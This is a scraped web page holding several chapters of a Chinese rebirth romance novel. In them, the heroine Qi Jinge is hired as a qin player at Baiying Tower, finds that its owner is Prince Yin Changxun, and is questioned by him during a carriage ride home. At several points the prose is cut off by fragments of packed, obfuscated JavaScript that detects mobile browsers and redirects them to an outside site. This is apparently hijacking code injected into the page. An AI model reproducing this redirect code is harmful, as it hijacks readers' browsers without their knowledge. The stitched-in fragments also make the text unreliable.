明正往前方看了一眼，朦胧之中，只见女子走到了古琴旁。 祈今歌平复了自己有着紧张的情绪，随即简单地介绍了下自己。 明正听到熟悉的名字，心中一动，心道，巧了，怎么是她！ 金利和李别肃与殷夫人不甚来往，不认识祈今歌，也没什么反应。 尹长寻在祈今歌说完话后，也只是多朝着纱幕之后多看了一眼。 金利熟练地念出了已经说了无数次的话，道：“想好要演奏的曲目，准备好了就可以开始了。” 祈今歌落座，抚摸上了琴弦，沉思了一会，此刻的神情竟然比之前任何一次演奏都要慎重。 毕竟事关生计，就算她琴艺再高超，也不免有些紧张。 祈今歌轻轻吐了一口气，平复了下心境，双手压下了琴弦，开始弹奏了起来。 她的手指轻落琴弦，姿态优雅从容，指尖拨动，先是几声轻挑，似微风拂过竹林，紧接着，琴音陡然一转，又变得气势磅礴。 或轻挑慢捻，或重按急拨，变幻不定，唯独节奏把控得丝毫不差。 一曲完毕，鸦雀无声。 祈今歌弹奏的行云流水，堪称天衣无缝。 明正早已见识过祈今歌的琴艺，并不惊讶。 金利和李别鲁都惊得合不拢嘴，感叹来者出神入化的琴艺。 一时间，三人面面相觑，想要鼓掌赞叹，却还是不约而同地看了看尹长寻的神色，不敢擅做表态。 然而尹长寻的表情依旧没什么变化，看不出是满意，还是不满意。 祈今歌将双手从琴弦上抬起，双手交叠覆盖在了膝盖上，静静等候着帷幕之内的人的宣判。 房间内鸦雀无声。 祈今歌不知道自己的表现入了对方法眼，为何四人不发一言？ 也不知道她的表现能不能入这新东家的法眼。 她离开也不是，等着也不是，只觉得如坐针毡。 帷幕突然被掀开，一道熟悉的身影出现在了祈今歌面前。 她抬头望去，瞳孔骤然收缩，神情是掩饰不住的惊讶。 掀帘的男子身长玉立，一双眼睛里透着冷清。 无论如何她也猜不到，所谓的新东家竟然是尹长寻！ 祈今歌心脏狂跳，刹那间竟然说不出一个字。 “弹得不错，你被雇用了。” 尹长寻居高临下看着她，嘴角扬起了一抹玩味般的浅笑，云淡风轻地说出了祈今歌最想听到的答案。 17. 畏惧 百影楼的新东家竟然是尹长寻！ 祈今歌就算是想破脑袋，也想不到再次见到尹长寻，他竟然会以另一种的身份出现在自己面前。 说不震惊简直是不可能的。 毕竟这又是一次不期而遇。 得到了想要的结果，祈今歌应该是欣喜的。 可说话的人是尹长寻，那就不由得让听得人心中变了味。 诧异已经完全压倒了欣喜。 上一世，祈今歌对身边发生的一切，听之任之。 夫人要将她如物品一样的送人，她听之。 尹长寻要将她作为姬妾迎娶入门，她从之。 她从未按自己的心意而活，理所应当地得不到自己想要的结局。 不…… 或者说，上一次她活得没有半分自我，她甚至压根没想清楚，自己到底想要什么。 而今，她已脱离殷府，决心去捕获属于自己的“自由”。 按理说，她是没有任何机会和理由再和尹长寻相遇。 甚至在路上偶遇，她都顶着尹长寻身份的压力表明自己的抗拒，只求今后再无瓜葛。 她几乎已经做了自己所能做的一切。 两个本来就属于不同世界的人，本就应该互不干涉。 可是这一世，无论她怎么逃离避让，尹长寻总是能猝不及防地出现在她面前。 别人想见一面都为难的庆王殿下，祈今歌却能毫不费力的相见。 祈今歌不想与尹长寻再有什么关系，可一而再、再而三的接触，让祈今歌都忍不住怀疑，难道冥冥之中，她就注定要和尹长寻要藕断丝连吗？ 只是这个问题岂能是一时半会能想明白的。 祈今歌还未对尹长寻的出现有所反应，里面的另外三人就起了身，一前一后地从里向外走了出来。 随之而来的，还有鼓掌声。 拍掌的乃是明正。 而随着他出来的另外两人，倒也都长得剑星眉目，虽然不及明正和尹长寻，但也都算得上一表人才。 只是这二人她并不认识。 金利和李别肃看到弹奏者，注释着的目光之中也不免夹杂着一丝兴奋。 也瞬间明白了，为何庆王要坐于纱幕之后来听乐了。 这姑娘太好看了。 要是一开始就看到脸，哪里还有心思还去欣赏什么乐曲。 原本弹奏的曲子就已经够惊为天人了，没想到这双手的主人竟然比这支曲子还要令人见之难忘！ 祈今歌端坐在着，青葱少女的年纪，怎么看都是好颜色的，更何况她又长得国色天香，尽管穿的十分素净，但也足够吸引人眼球。 只是她的表情并没有因通过考核的欣喜，反而还带着一丝不知所措的茫然。 明正猜测，十有八九是因为她是因为没想到这百影楼的新东家竟然是尹长寻，所以才有如此表情。 根据他的揣测，上一次两人在谈话中大概是闹了点不愉快，现在突然面对面一看，应该是有那么一丝尴尬。 所以才会导致一向落落大方的祈今歌，竟然未对尹长寻的话做出反应。 明正将别在腰间的水墨折扇撑开轻摇，一幅风度翩翩的浪子样。 他主动开口，笑着道：“今歌姑娘，好巧，咱们又见面了。” 这一出声，祈今歌回了魂。 她连忙从凳子上起身，朝着尹长寻和明正都见了礼。 金利和李别肃一看他们俩是熟人，便打趣问道：“明正兄，看样子是老熟人了？哪里认识这样天仙似的人物，还不介绍给我们认识认识？” 言语之中，颇有点不正经。 这也怪不得二人，成日里能和明正相熟的女子，多半都是风月场上混的。 虽然偶尔也有例外，但是终归是极少数。 明正是个会察言观色的。 他自认为他的品行算不得高尚，但是终归是个好相与的，从不与别人为难。 早在殷府见过祈今歌的时候，他就为这对姐妹花的姿容绝世所惊艳。 爱美之心，人皆有之。 明正惯是个会怜香惜玉的主。 更何况祈今歌和祈明珠还不是一般的美，明正早就已经对祈今歌抱有好感。 但这种好感总归是肤浅的。 但一个月前，他知道祈今歌竟然选择散尽钱财，换得自由身的时候，他才真正对她另眼相看。 乱花渐欲迷人眼，多少人在纸醉金迷中迷失了自己？ 明正不是没见过故作清高的风月女子，可装的终归是装的，或长或短，总归是要露出马脚，暴露本性的。 她们这样做，无非是想抬高自己的身价，让自己更值钱罢了。 哪怕对于祈今歌，明正虽觉得她模样长得不食人间烟火，却也没觉得她和殷府别的家妓相比起来有何不同。 那日送祈今歌回家，看到她所居住的破落宅院，明正也看到她高洁的一面。 出淤泥而不染。 一个人，在光明的地方没染上污浊不足为奇，但是在黑暗之中还能不同流合污，却是少见。 像祈今歌这样见过了繁华的人，竟然能够撇去浮躁，选择与之前天差地别的生活，实属不易。 明正做不到洁身自好，但是不耽误他佩服洁身自好的人。 于是他看待祈今歌的目光中，比往日要多了敬佩。 既然已经知道祈今歌品性，无需多言，明正也明白，她一定不愿意再提及过往。 他将祈明珠引荐给了二人认识，却隐去了祈今歌先前的经历，话里话外，都表明她是正经人家出生，乃是良家女子，不可轻薄。 话毕，祈今歌颇为感激地看了明正一眼。 金利和李别肃这才不再玩笑，与她见了礼。 明正看了看长寻，又看了看祈今歌，打趣道：“今歌姑娘，你本事可不得了，这么多天了，竟然能让咱们的庆王殿下点了头，你可是头一个！长寻之前还说你的琴艺平平，要我看啊，绝对是他耳朵出错了！” 末了，他又朝尹长寻使了个眼色，道：“长寻，你说我说的对不对？” 他这话原本是要活跃一下气氛的，本是出于好心。 可是祈今和听了他的话，眼皮猛地跳了一下。 她心道，尹长寻耳朵倒没出错，那日殷府相会，所有人的注意力都放在了祈明珠的失误上，只要见过的，都会觉得这是一场漏洞百出的献艺，哪还有人能注意到她弹奏的如何？ 眼下就她一人，是骡子还是马，这就一下试出来了。 现在唯一让她纠结的是，要是决定来百影楼这意味着很有可能她会和尹长寻低头不见抬头见。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457670|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 要不要干脆别来了？ 可最终银子大过天，有什么比生存还重要？哪里还能找比百影楼更大方的地方。 于是她又立马否了这个念头。 比起祈明珠的丧心病狂，尹长寻其实并没有伤害过自己…… 如今，尹长寻坦坦荡荡，对她之前的无礼毫不在意，她在这期期艾艾，反倒是显得好像做贼心虚。 她不得不承认，因为上一世的惨死，自己有些一朝被蛇咬，有些杯弓蛇影了。 她悄悄地抬起眼眸打量尹长寻，视线才刚刚挪动，却看到自己的一举一动，悉数被尹长寻收入眼底。 他的视线竟然在她的身上一直没下来过。 尽管祈今歌已经鼓起来勇气，但是尹长寻得目光如猎鹰一样锐利，教人难以直视。 她下意识侧过头，有些慌乱地避开了他的视线。 以前她畏惧尹长寻的目光，是因为她为妾室，要以夫为大，她要遵守三从四德。 此时此刻，她畏惧尹长寻的目光，却不再是因为两人身份上的差异，而是因为她感觉尹长寻的眼神犹如一把被点燃了的火炬，像是要把她照个真切，看个明白。 这种感觉颇为有些莫名其妙，毕竟祈今歌认为自己的人生枯燥而又无聊，并没有什么值得探究的。 所以，她不懂尹长寻有些意味深长的目光意味着什么。 正是因为看不懂，所以畏惧。 她在脑海中天人交战，尹长寻却是回了明正的话语：“你说的对，或许之前是我听错了，她的琴艺，的确举世难寻。” 明正顿时一怔，没想到尹长寻话说的这么爽快。 要知道尹长寻可是正眼都不怎么瞧女人的，他如今不光不计较之前的不愉快，还这么给祈今歌面子，大大方方承认了她的才华。 直接由先前的不欢而散转换为惺惺相惜了？ 祈今歌也愣住了，不由得望向了尹长寻。 这样的尹长寻让她陌生。 脱离掌控的感觉让她心跳加速。 她有些心虚地躬身：“庆王殿下谬赞了……” 明正笑道:“以后你来了这，私下可以这么称呼他，在别人面前可记得别这么‘庆王’‘庆王’地叫了！这百影楼的人可不知道他的身份！以后咱们长寻在这的身份，就是一个普普通通的戏院东家！你可别把咱们王爷的暴露了！” 祈今歌乖巧又温顺地点了点头。 金利不知道二人之间的渊源，但是也看得出，明正和庆王殿下对这位姑娘都颇为青眼有加。 于是他道：“姑娘，既然王爷都点头了，就别谦虚了。再说，你确实有本事！哪怕是我这个外行人，那都感受到你的琴艺非凡！” 明正也道：“是啊，以后你来的百影楼，咱们还能时常见面，用不着这么生分！” 李别肃也点头赞同。 眼前的一切发生的都太突然，祈今歌脑袋有些蒙，他们说什么都没认真听，敷衍地应着好。 等到三人七嘴八舌说完了话，祈今歌暗暗松了一口气，向他们辞行，准备回家。 一直盯着她的尹长寻也在她要告辞的时候，再次开了金口。 “你又是一个人走来的？” 不待祈今歌回答，他却是直接抛下了下一句话。 “我送你回去。” 18. 父子 送她回家？ 主动提出送她一次已经是破天荒了，竟然还有第二次？ 送她一次是心血来潮，第二次也是心血来潮？ 祈今歌都要怀疑尹长寻是不是受了什么刺激。 她平平无奇，身无长物，尹长寻有什么理由对她这么特别？ 因此祈今歌感受到的不是受宠若惊，反而是一股说不出道不明的感觉。 一般的女子听到这种话，或者还是会犹豫对方是否心悦于自己。 但是祈今歌是不可能擅自期待的。 同床共枕五年，尹长寻都没有对她动心，她哪里可能异想天开，奢望这辈子才见过她三次的尹长寻是出于什么好感才提出这个提议。 祈今歌虽然外貌上是十八芳华，可是毕竟上一辈子还是多活了五年，五年岁月蹉跎，早就洗干净她脑海中为数不多的怀春情怀，她可不敢自作多情。 和上一世一样，她依旧看不透的尹长寻。 尽管祈今歌已经明白，顺着尹长寻才能少给自己找事，但是她依旧下意识地拒绝道：“我家也不远，还是不……” 她拒绝的话还没说完，明正却是插嘴道：“今歌姑娘，你别客气！反正咱们庆王闲着也是闲着，你就让他再当回护花使者又如何？！” 这语气颇为看热闹不嫌事大。 祈今歌知道明正没什么坏心眼，但是丝毫不耽误她此刻想要瞪他一眼的心情。 明正倒是察觉不出祈今歌内心的不满。 在他眼里，他掺和一脚，是顺水推舟，是成人之美。 他算是看出来了，有一有二再有三，他这回确定一定以及肯定，尹长寻绝对对祈今歌感觉不一般。 否则不可能在上一次二人不欢而散以后，尹长寻还再次提出送祈今歌回家。 男女有别，若不是有意思，谁会闲得没事做这些？ 虽然不知道为何尹长寻突然对祈今歌有了兴趣，他也寻不出个契机缘由，但是这也无关紧要，最重要的便是铁树开花，总是好的。 作为兄弟，哪有不推一把的道理！ 只是明正心中也嫌弃尹长寻实在是有些别扭。 就像他之前想的一样，早知如此，当初就将两姐妹一起娶回来如何？ 再不济，把祈今歌一个人要过来，不也早就沉醉于温柔乡了？ 何必要给自己增加难度，还要搞“窈窕淑女，君子好逑”的戏码？ 虽然这也不失为一种情趣，不过总有些脱了裤子放屁的意味。 明正看得出来的事，金利和李别肃两个人精也不可能看不出来。 他们两人又忍不住多看了祈今歌一眼。 此等样貌与才华，能让一向不近女色庆王殿下有所动摇，倒也不奇怪。 两人皆是眼珠子一转，互换了眼色，推波助澜道：“是啊，今歌姑娘，王爷都不嫌麻烦，你就别推辞了，又不是什么大事，何必推来推去的呢？” 祈今歌：“……” 原本拒绝尹长寻就不是一件易事，如今还有另外三个人一同帮忙来当说客，祈今歌怎么好一次就拂了四个人面子…… 而尹长寻只是现在她身边静静地看着她，他面无表情，并不催促，也不言语。 只是这清冷的目光落在她身上，总是让她感到有些焦灼。 罢了。 不过就是送她回去而已。 又不是多大个事。 重生以后，她对以前的种种避之如蛇蝎，但是冥冥之中，好像有什么东西在牵引着，她避无可避。 如此，倒不如顺其自然。 平常心对待，说不定反而更好。 再说，若是她日后真的要来百影楼，也不可能总是避着尹长寻。 于是她妥协了，垂眸道：“好吧，那就劳烦庆王殿下了。” * 尹长寻和祈今歌已经从百影楼离去。 事情已经尘埃落定，招人这事已经算告了一段落，屋内剩下的三人已经可以随意离去。 不过，明正、金利和李别肃三个人反倒是不急着走了。 他们又返回了内间，齐坐一桌，先前三人身上的倦意已经彻底消失，相反，他们脸上反而神采奕奕，眼神中闪烁着光芒。 都说这世上女子爱听传闻，但男子也是人，谁还没个好奇心？ 只是普通人的生活大抵都是日复一日，没什么说道的价值。 但是身份尊贵、有权有势的人则不一样。 很多人都忍不住想要窥探一二。 而尹长寻正在此列。 三人左右不过是二十来岁，别人感兴趣的事，他们也难以免俗。 金利和李别肃对尹长寻知之甚少，短暂的几天接触也看不出太大的由头，因此他们对刚刚发生的意外要比明正还要感兴趣得多。 金利最先憋不住，屁股才刚刚落在椅子上，就是朝着明正问道：“明正兄，你看刚刚的情形，王爷是否对这祈姑娘有意？这么几天过去了，可没见王爷送别的来应聘的人回去啊。” 明正拿起一块桌上的摆着的桂花糕咬了一口，并不着急回答。 金利其实心中早有答案，只是非要从自己口中得到一个确切的答复。 他们三个人心中的想法自然是一样的。 尹长寻又不是拈花惹草的性格，如果不是真的感兴趣，根本不会给自己找事。 只是这个感兴趣的程度到底有多深，能维持多久，那就没有谁知道了。 毕竟在此之前，尹长寻也从未对任何女子动心过。 李别肃道：“定是你心中想的那样。我只听王爷不近女色，看来这传闻也不太准，无非是王爷眼光高了些，不是绝色佳人不为所动罢了。” 明正撇了撇嘴，心想，那你可还是小看尹长寻了。 尹长寻要是真的纯纯看姑娘的脸长得好不好看，便不会在殷夫人的宴会上拒绝殷夫人的“好意”。 金利也抿了一口茶，润了润嗓子，接着若有所思道：“只是说起来，祈姑娘就算和王爷能成，但她毕竟是寻常人家出生，王爷就算喜欢，怕也是只能做个妾室？便是普通百姓，成家还得考虑门当户对，更何况王爷是皇室之人，关系着皇室的荣耀和利益，加上婚事也还需皇帝批准，怕是不能随心所欲。” 谈婚论嫁还是八字没一撇的事，两人能不能成都不好说。 不过，这并不耽误三人就着这个问题个各抒己见。 从商从政的人，不缺钱，不缺权，闻着味道凑上来的人多了去了，有些人玩男又玩女，可以说荒唐又真实。 这群人里面，有人有底线，有些人没有，有些人独善其身，有些人又毫无约束，有专情的，也有滥情的。 但是不管是怎样的人，在真正涉及婚姻大事的时候，他们都会做出同样的选择——对家族、自己最为有利的选择。 哪怕有人自己想不顾一切任性一回，他们的家族也绝不容许。 近乎于无情的选择也正是他们能够稳坐钓鱼台的原因。 李别肃道：“能做妾不也挺好。毕竟能够做王爷的女人，是多少人求之不得的？总比找个穷苦人家过一辈子穷日子，辛辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贵妃之上的皇后之位，要看品行修养，要考虑帝王恩宠，但是更为重要的是皇后的出身门第以及朝廷内外局势。 除了帝王恩宠，苏霜月是无论如何也是比不过当朝宰相之女沈珏的。 可是皇上昏了头，不顾元老大臣的反对，非要立苏双月为后，欲要废了皇后沈珏。 皇后若是真的废，那太子之位也要改弦更张，由苏贵妃之子尹长寻继任…… 这无疑人震动朝野的决定。 当时也不知道掀起了多少暗潮涌动，闹得朝野内外不得安宁。 但尹世恒根本不为反对势力的抗议所动摇，他是铁了心要苏双月做他的皇后。 直到苏贵妃突然病逝，此事才戛然而止。 否则…… 当年的皇后之位，还不知道鹿死谁手。 经过此事，很多人明白了一件事，原来纵然是帝王，只要真的动情，再大的阻力也不足为惧，若是被轻而易举的放弃，也只是因为对方不够在乎罢了。 帝王家也有痴情种。 龙生龙凤生凤，明正说的话倒是不无道理。 金利和李别肃也是被明正提起的前朝旧事搞得沉默了。 无言倒不是因为别的。 主要是他们两真的很难想象，冰块一样尹长寻如果真的和他的皇帝老爹一样，为一个女人要死要活，甚至对抗全天下，那该是怎样疯狂又不可思议的一幅光景。 19. 有趣 今早出门的时候，空气中还渗着水气，微微带着点寒意，但毕竟已经到了三夏，启程回家的时候，太阳已经挂于高空，又是万里无云，没有丝毫遮蔽的阳光直直地爬撒下来，免让人感觉炽热。 马车内却是清凉得多。 尹长寻和祈今歌坐于杌凳相对而视。 上一次尹长寻送祈今歌回家，好歹还有明正和明芷玉作陪，明正插科打诨，祈今歌虽然觉得有些不自在，但是这种不舒服的感觉也被冲淡了不少。 但是眼下是二人在车厢中独处。 祈今歌想找点别的东西转移注意力都难。 尽管她不欲将目光放在殷长寻身上，可是空间就这么大，就算时不时地转动下眼睛，也无可避免的会将视线落在他的一方。 对面的人依旧面上没什么表情，他身姿笔挺，如苍松般端坐着，袖口金丝若隐若现。 的确还是和以前一样，年纪不大，却足以给人一种压迫感。 他也并不说话，只是静静地看着祈今歌。 被尹长寻的目光注释着，祈今歌只觉得眼前有万千蚂蚁在爬，让她不止身体上觉得痒，心中更是宛如被火上烤一般。 她对于回家这回事第一次如此迫不及待，她希望马车能够再走快点，这样她就少一分煎熬。 一时间，她原本淡定的表情突然变得有些古怪。 也就是在这个时候，祈今歌听到一声轻笑。 这笑声非常好听，如远方传来的沉稳的鼓点，低沉而深邃，一下下敲击在人心上。 只是这般好听的声音，却没法让祈今歌感觉如浴春风。 毕竟…… 车内就他们二人，尹长寻又不会无缘无故发笑，不用脑子想，就知道一定是在笑她。 虽然不知道到底因何而笑，但是祈今歌的直觉告诉她，总不可能是什么好事。 也不知是怎么想的，伴随着一股说不清道不明的烦躁，祈今歌突然胆子大了起来，抬起眼帘，直直地看向尹长寻吗，问道：“王爷笑什么呢？” 她的话倒是没什么问题，似乎只是出于好奇的询问，可是再细细一听，简简单单的几个字，却听得出说话的姑娘隐隐动了气。 尽管这份生气实在是有些太微不可闻。 两世以来，祈今歌都鲜少发脾气，控制不住自己情绪的事并不多见。 人人都道她是好脾气。 只是她自己有时候都弄不明白，她这所谓的好脾气，到底是天生如此，还是别人在意的东西，她并不在意，所以才总是毫无波澜？ 这个问题她此刻倒是有答案了。 是后者。 若是天生的好脾气，那就应该对所有人都一视同仁。 否则她怎么对尹长寻的笑就偏偏有了反应？ 只是...... 祈今歌这倒也不算乱发脾气。 毕竟从她的角度来说，尹长寻总是能轻而易举让她搅动风平浪静的心湖，甚至他本人还无知无觉，徒留她一个人的内心像走钢丝一样的七上八下。 她毫无反应才不正常。 尹长寻看著她的脸上因为那若有似无的怒气而变得分外生动的脸，脸上的笑意更深了。 原来她也会出现这样有趣的表情。 尹长寻道：“我笑并不为别的，我只是觉得你十分有趣罢了。” 祈今歌一愣。 他没想到尹长寻对她的评价，竟然是“有趣”二字。 活了两辈子，有人夸她美貌，有人赞她有才，也有人喜欢她温润的性情，也有人欣赏她的清高脱俗的样子。 可唯独从未有人夸她“有趣”。 她哪里有趣了？ 祈今歌恰恰觉得自己最是无趣之人。 她就好比一本封装精美的书籍，乍看之下觉得惊艳，可一旦翻开细细品味，就会发现里面的内容乏善可陈，让人难以提起兴趣。 因此祈今歌并不觉得尹长寻是在夸赞她，她道：“哦？不知民女哪里有趣？” 问的诚恳，可是她的眉眼中却是半信半疑。 尹长寻微微倾身向前，看着祈今歌那双灿若星辰的眉目，他意味深长地笑道：“你不知道吗？你刚刚的表情很有趣，一会青一会白的，好像我要吃了你一样，便是猎物见了猎人，也不过就这种表情了。” 祈今歌听得一惊。 尹长寻这是将她看透了。 她有表现的这么明显吗？ 尹长寻见她不说话，便当她默认了自己说的话，眸中的目光幽深的像深不见底的古潭，他又继续道：“你曾经和我说，是因为过去在殷府的经历，所以才抗拒和我接触，你给的理由的确有几分道理。” “可如今依我所见，当时的我和你也不过是一面之缘，而明正对你的过往更是比我清楚千万分，按理你应该对他更加避之不及。可我观你和他交谈，倒是举止得体，没有紧张之色，所以我想，你之前给我的理由不成立，或者说，这不是真正的理由。” 他又是一笑，只是这一次，笑意不达眼底。 “所以我在想，我与你仅仅见过三次，到底是做了什么，能让你如此害怕？” 尹长寻的语速不疾不徐，每一个字节都吐得清晰平稳。 只是祈今歌听着这平静的声音，在这热天却遍体生寒。 祈今歌听得心都要跳出了嗓子眼。 所以说安静还是有安静的好，她这难得一搭话，就引来了尹长寻向她发难，接连抛出这么棘手的问题。 她上辈子怎么就没发现尹长寻还这么记仇？ 她就不该多嘴搭话。 祈今歌只知道尹长寻虽然看起来不务正业，有些吊儿郎当，但是人却是公认的聪明。 但是她没有料想到的是，他竟然能将她揣度的如此分毫不差。 毕竟上辈子尹长寻从不会关心她心中所想，她哪里有机会知道尹长寻有如此本事。 他根本就没有自己想象的好糊弄！ 她的右手不自觉地揪着衣角，把布料拧出一道道褶皱。 细密的汗珠从额头冒出，细长的睫毛都在轻颤动。 她明白，尹长寻最讨厌欺骗。 既然如此…… 祈今歌想，既然假话骗不过尹长寻，那还不如半真半假的话夹在一起说，她就不信，这样尹长寻还能识破她。 考虑到以后还得来百影楼做事，她也不能惹恼了尹长寻……… 祈今歌在心中宽慰自己，没什么好紧张的。 再者，就算尹长寻再聪明绝顶，他也是无从推算出自己乃是重生而来，更无法得知他们二人上一世的渊源。 尹长寻没有再接着往下说话。 他不发一言，犀利目光如猎鹰一样掠过祈今歌，眼神仿若能洞悉一切，让人脊背发凉。 这般洞若观火的神情，与他平日里的呈现的吊儿郎当的样子截然不同。 这才是她记忆里熟悉的尹长寻。 他在等她给她一个合理的回答。 祈今歌知道尹长寻耐心不多，她必须给出一个合理的解释，否则…… 很有可能后患无穷。 还是如她之前的判断一样。 越逆着尹长寻，反而越难以得到自己想要的结果。 于是她深吸了一口气，缓缓抬眸，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457672|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向尹长寻，道：“王爷的确聪明过人，民女那点小算盘已经被您随意一看，便已经看透了。” “如您所说，民女避着您是因为不想回忆殷府的过去，这个理由的确是假的。” 尹长寻连她承认的坦荡，倒也不是很意外，只是继续看着她，挑了挑眉，示意她说下去。 祈今歌眼中闪过一丝决然，说道：“您可还记得，我曾经说过，不想和您有所牵扯。这句话是认真的，我虽然在殷府之前，未见过庆王殿下，但是我也知道您眼高于顶，根本不近女色。因此，那日当您主动在路上帮助我的时候，我的确是受宠若惊，毕竟在殷府之时，您已经表明了您的态度，小女子根本没法入您的眼。我的确幻想自己是否与众不同，能得您青睐，这让我诚惶诚恐，另外，我又害怕自己自作多情，或者您只是心血来潮，给了我不切实际的幻想，最后又是自取其辱。我是既高兴又害怕，但是最终害怕多于高兴，所以当时才扯了一个过得去理由搪塞了您。” 半真半假，话中的自作多情、心怀期待是假，害怕不得善终是真。 祈今歌手心微微出汗，要瞬间完成一个能够自圆其说的谎言对她来说并不轻松，不过从尹长寻得神色来看，她给出的新理由应该是没出大岔子。 她话说完，只觉得紧绷的身体都舒缓了下来，有些狂乱的脉搏也逐渐平稳。 现在的她就像一个进京赶考的书生，要交出一个令考官满意的答卷，但是问题的关键在于她甚至都没有复习的时间，甚至这还是一场临时决定的考试！ 如今考卷已经交上去了，一切都听天由命。 不管了。 祈今歌只觉得视死如归，反正让她再编她也编不出更好的理由了，尹长寻就算不信，她也不会再更改自己的答卷了。 时间一分一秒的流逝，两人都不说话，周围的空气仿佛都凝固了。 沉默片刻，对面的考官终于喉结滚动，笑着问道：“如此说来，你的确对我心有期待？” 他狭长的眼眸微微眯起，眼底闪过一抹促狭，带着几分玩世不恭的味道。 只是这笑容又分外明亮，是祈今歌未曾见过的模样。 仿佛刚刚质问的她的那位深藏不露的少年另有其人。 那一刻，烈阳都似黯淡几分，唯有他嘴角的笑意夺目，晃得祈今歌眼前一亮。 “什……什么……？” 祈今歌愣住了，尹长寻得重点完全落在了她意想不到的地方。 等她彻底反应过来，瞬间就恨不得挖个地洞把自己埋进去。 的确…… 她刚刚的每一条理由，都是基于她因尹长寻而紧张，因尹长寻而期待，因担心尹长寻不认真对待自己而患得患失…… 一时间，她只感觉脸颊发烫…… 这在当事人听来，和表白有什么区别？！ 只是她实在是不能再推翻自己给出的说法了。 硬着头皮也得认了，否则出尔反尔，以后她的话便也再也没半分可信度！ 尹长寻见她脸颊微红，只觉得她更加有意思，连带着她给出的理由，也多了几分可信。 他知道祈今歌给的理由是假的，可是他也是头一回觉得，偶尔说些假话也并不是什么坏事。 至少祈今歌的假话能让他心情不错。 他长臂自然抬起，玄色的袖袍吹了下来，落入祈今歌的眼中。 一双干净而修长缓慢而轻柔地摸了摸祈今歌的头顶。 祈今歌悠地睁大了眼睛。 眼波流转间闪过一丝诧异。 尹长寻的声音轻了些，道：“放心吧，你害怕的，都不存在。” 20. 麻烦 祈今歌忘记自己是怎么下的马车，忘记自己进的院子，又忘记自己是怎么开的门。 父亲不在家，屋内很安静。 她坐在堂屋中的四方桌旁摆着的凳子上，提起桌上的茶壶给自己倒了杯水，连喝了好几杯以后，这才微微回过神来。 她头微微侧倾，手肘撑桌，单手撑着头，眉心轻皱，开始回忆今天发生的一切。 等她回想完毕，最为印象深刻的，便是犹如见了鬼一般的不真实感。 的确是见了鬼。 尹长寻买下百影楼，成为了新东家，她阴差阳错地撞上了，甚至在百影楼成功谋职。 这一切的一切，都可以归咎为巧合。 可是尹长寻伸手抚过自己的头顶，这不是巧合。 纵然是前世二人有过男女欢爱，可是尹长寻从未如此待她。 无关情欲，只有怜惜。 这无疑是一种算得上亲昵的行为。 什么意思？ 喜欢自己？ 尽管祈今歌一直告诉自己，尹长寻是不可能真的爱上自己的，可是眼下除了这个理由，还能找出什么别的原因吗？ 再想想尹长寻很是讨厌别人碰自己的，哪怕是明芷玉这样相识多年的漂亮姑娘，他也是一脸嫌弃。 但是就在刚才，尹长寻甚至是主动伸出手触碰了她。 恍惚间，祈今歌不自觉地伸出手覆盖在了尹长寻触碰过的地方。 尹长寻在发丝上残留的温度早已不在，可是祈今歌的指尖还是觉得发热。 即便是此生自己算得上是多比尹长寻活了五年，还是没办法弄清楚他到底在想什么。 为什么他的态度突然变了？ 明明在殷府宴会的时候，还觉得她只是一个“一般”的女人，看都没有多看一眼。 可是从上一次二人再次见面开始，他的态度就变了。 原因呢？ 总不可能是尹长寻在离开殷府后的一个月之中突然发现她的好吧？ 显然不可能。 她思考了半天，终究是无疾而终。 好吧…… 就凭她的脑袋，根本就想不出真正的理由。 她明白，自己对于尹长寻而言，应该有那么一点与众不同，毕竟上辈子她能和尹长寻有一段缘分，爱不一定能谈得上，但是尹长寻对她也是看得上眼的。 只是这种喜欢或许和喜欢一只小猫小狗没什么区别，或许这种喜欢就和上一世那点浅薄的喜欢相比，也就厚了那么一点点。 但事已至此，她想和尹长寻彻底划清界限的计划已经彻底宣告失败。 但也不完全是坏事。 尹长寻的福，她大抵以后是不用为银子发愁了。 至于尹长寻到底只是无聊寻个乐子，还是对她有几分真心在其中…… 她不得而知。 而最为重要的，是她也发现，自己面对尹长寻，也并非能够全然做到无动于衷。 她微不可闻地叹了一口气。 或许相比于看不透尹长寻的想法，她更猜不透的是自己的心理。 罢了…… 今后的是事今后再说吧，考虑这么多也没用。 毕竟她如今最为重要的，还是要为日后的生活做打算。 若是前世的她，说不定会因为焦头烂额而将已经到手的机会直接放走。 但是如今的她不会再逃避。 生存面前，一切皆是小事。 * 临近午时，祈成田从外面回来了。 推开门的刹那，他看到的是祈今歌颇为有些有气无力留着桌子坐着。 她的眉头皱的很深，却安静地坐在那里，手指有节奏地轻敲桌面，看起来心事重重。 祈成田知道祈今歌今日是出去是为了谋职一事，见她颜色不好，便下意识以为是日头过热，怕是有些中暑了。 毕竟这天气虽然说是暖和起来了，但也是一天比一天热了。 今日中午的太阳就很毒辣。 别说他女儿细皮嫩肉的受不了，就他这皮糙肉厚的庄稼汉，出去了半天，回来也是大汗淋漓。 